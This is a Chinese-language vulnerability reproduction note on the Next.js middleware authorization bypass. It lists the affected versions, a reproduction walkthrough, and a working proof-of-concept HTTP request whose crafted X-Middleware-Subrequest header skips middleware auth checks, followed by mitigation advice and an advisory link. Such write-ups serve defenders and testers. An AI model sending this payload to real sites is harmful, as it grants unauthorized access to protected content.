漏洞介绍

Next.js是Vercel开源的一个 React 框架,Next.js 是一款基于 React 的热门 Web 应用程序框架,提供服务器端渲染、静态站点生成和集成路由系统等功能。

Next.js 14.2.25之前版本和15.2.3之前版本存在安全漏洞,该漏洞源于如果授权检查发生在中间件中,可能绕过授权检查。

影响版本

11.1.4 <=next.js<=13.5.6

14.0 <= next.js <14.2.25

15.0 <= next.js <15.2.3

注:利用前提,需要next.js应用使用middleware。

漏洞复现

1.访问漏洞环境

通过浏览器插件获取版本信息

2.对漏洞进行复现

请求get请求确认中间件

POC 

漏洞复现

GET / HTTP/1.1Host: 127.0.0.1:3000X-Nextjs-Data: 1X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

执行payload,通过响应判断漏洞存在。

3.Yakit插件测试

修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

临时解决:拦截访问Nextjs应用中HTTP请求头包含的x-middleware-subrequest字段。

参考链接

https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。